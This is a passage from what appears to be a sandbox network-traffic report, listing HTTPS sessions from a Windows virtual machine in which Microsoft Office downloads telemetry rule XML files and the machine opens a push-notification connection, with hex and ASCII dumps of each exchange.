2024-11-19 23:19:13 UTC	464	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 49 69 5d 5b 47 67 5d 5b 41 61 5d 5b 42 62 5d 5b 59 79 5d 5b 54 74 5d 5b 45 65 5d 20 5b 54 74 5d 5b 45 65 5d 5b 43 63 5d 5b 48 68 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 47 67 5d 5b 59 79 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120623" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <SR T="2" R="([Gg][Ii][Gg][Aa][Bb][Yy][Tt][Ee] [Tt][Ee][Cc][Hh][Nn][Oo][Ll][Oo][Gg][Yy])"> <S T="1" F="1" M="Ignor

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.6	49735	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:13 UTC	192	OUT	GET /rules/rule120622v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 23:19:13 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 23:19:13 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8CEAC16" x-ms-request-id: 76a157b4-e01e-00aa-258c-3aceda000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T231913Z-r1d97b99577mrt4rhC1TEBftkc000000080g0000000027ae x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 23:19:13 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120622" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.6	49737	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:13 UTC	192	OUT	GET /rules/rule120624v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 23:19:13 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 23:19:13 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB7010D66" x-ms-request-id: a1cde93a-f01e-0020-638c-3a956b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T231913Z-r1d97b995774zjnrhC1TEBv1ww000000082000000000333n x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 23:19:13 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120624" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.6	49738	40.113.103.199	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:14 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 69 75 64 4d 30 41 66 31 41 6b 61 73 4f 79 75 59 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 32 32 39 38 62 64 66 36 61 38 31 63 65 63 61 63 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: iudM0Af1AkasOyuY.1Context: 2298bdf6a81cecac
2024-11-19 23:19:14 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-11-19 23:19:14 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 69 75 64 4d 30 41 66 31 41 6b 61 73 4f 79 75 59 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 32 32 39 38 62 64 66 36 61 38 31 63 65 63 61 63 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 52 57 79 7a 2b 6c 71 76 39 42 75 33 44 30 2f 5a 39 39 31 68 39 79 32 73 62 52 72 6c 36 77 39 72 7a 6f 65 54 58 6d 51 68 61 36 32 51 37 30 62 6f 39 34 2b 51 36 59 6b 76 6a 4c 6a 4a 36 2f 41 7a 2b 2f 47 59 2f 6e 6a 66 44 35 6e 48 65 7a 77 41 62 48 35 53 71 71 46 4f 37 6e 51 50 6f 70 6a 32 51 32 6b 70 73 79 45 64 72 6d 4e 44 5a Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: iudM0Af1AkasOyuY.2Context: 2298bdf6a81cecac<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAARWyz+lqv9Bu3D0/Z991h9y2sbRrl6w9rzoeTXmQha62Q70bo94+Q6YkvjLjJ6/Az+/GY/njfD5nHezwAbH5SqqFO7nQPopj2Q2kpsyEdrmNDZ
2024-11-19 23:19:14 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 69 75 64 4d 30 41 66 31 41 6b 61 73 4f 79 75 59 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 32 32 39 38 62 64 66 36 61 38 31 63 65 63 61 63 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: iudM0Af1AkasOyuY.3Context: 2298bdf6a81cecac<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-11-19 23:19:14 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-11-19 23:19:14 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 67 41 56 33 2b 48 6d 55 4c 6b 53 63 5a 70 55 64 50 6d 49 36 4a 67 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: gAV3+HmULkScZpUdPmI6Jg.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.6	49739	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:14 UTC	192	OUT	GET /rules/rule120625v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 23:19:14 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 23:19:14 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:42 GMT ETag: "0x8DC582B9748630E" x-ms-request-id: 0f1ce2f4-701e-0001-5e8c-3ab110000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T231914Z-185f5d8b95cdtclvhC1NYC4rmc00000009hg00000000b4yd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 23:19:14 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 46 66 5d 5b 55 75 5d 5b 4a 6a 5d 5b 49 69 5d 5b 54 74 5d 5b 53 73 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120625" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <SR T="2" R="([Ff][Uu][Jj][Ii][Tt][Ss][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.6	49740	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:14 UTC	192	OUT	GET /rules/rule120626v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 23:19:14 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 23:19:14 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DACDF62" x-ms-request-id: 107b228c-c01e-00a2-1f8c-3a2327000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T231914Z-1777c6cb7544n7p6hC1TEByvb400000008u000000000n4ty x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 23:19:14 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120626" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
32	192.168.2.6	49741	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:14 UTC	192	OUT	GET /rules/rule120627v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 23:19:14 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 23:19:14 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:54 GMT ETag: "0x8DC582B9E8EE0F3" x-ms-request-id: 70a27cfc-201e-0051-268c-3a7340000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T231914Z-185f5d8b95csp6jmhC1NYCwy6s000000097g00000000u1us x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 23:19:14 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4e 6e 5d 5b 45 65 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120627" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <SR T="2" R="^([Nn][Ee][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
33	192.168.2.6	49742	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:14 UTC	192	OUT	GET /rules/rule120628v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 23:19:14 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 23:19:14 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C8E04C8" x-ms-request-id: 70a27cfa-201e-0051-248c-3a7340000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T231914Z-185f5d8b95cqnkdjhC1NYCm8w800000009a000000000663h x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 23:19:14 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120628" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.6	49743	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:14 UTC	192	OUT	GET /rules/rule120629v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 23:19:14 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 23:19:14 GMT Content-Type: text/xml Content-Length: 428 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC4F34CA" x-ms-request-id: 947c7cf8-001e-00a2-018c-3ad4d5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T231914Z-185f5d8b95c95vpshC1NYC759c00000009a000000000rwkt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 23:19:14 UTC	428	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 2d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120629" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo]-[Ss][Tt][Aa][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.2.6	49744	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:15 UTC	192	OUT	GET /rules/rule120630v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 23:19:15 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 23:19:15 GMT Content-Type: text/xml Content-Length: 499 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:45 GMT ETag: "0x8DC582B98CEC9F6" x-ms-request-id: be70ec4e-301e-000c-088c-3a323f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T231915Z-185f5d8b95c4vwv8hC1NYCy4v400000009kg000000007emd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 23:19:15 UTC	499	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120630" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
36	192.168.2.6	49745	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:15 UTC	192	OUT	GET /rules/rule120631v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 23:19:15 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 23:19:15 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B988EBD12" x-ms-request-id: 7f65af6f-801e-0067-5f8c-3afe30000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T231915Z-185f5d8b95cdtclvhC1NYC4rmc00000009k000000000a3yv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 23:19:15 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 48 68 5d 5b 55 75 5d 5b 41 61 5d 5b 57 77 5d 5b 45 65 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120631" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <SR T="2" R="([Hh][Uu][Aa][Ww][Ee][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" 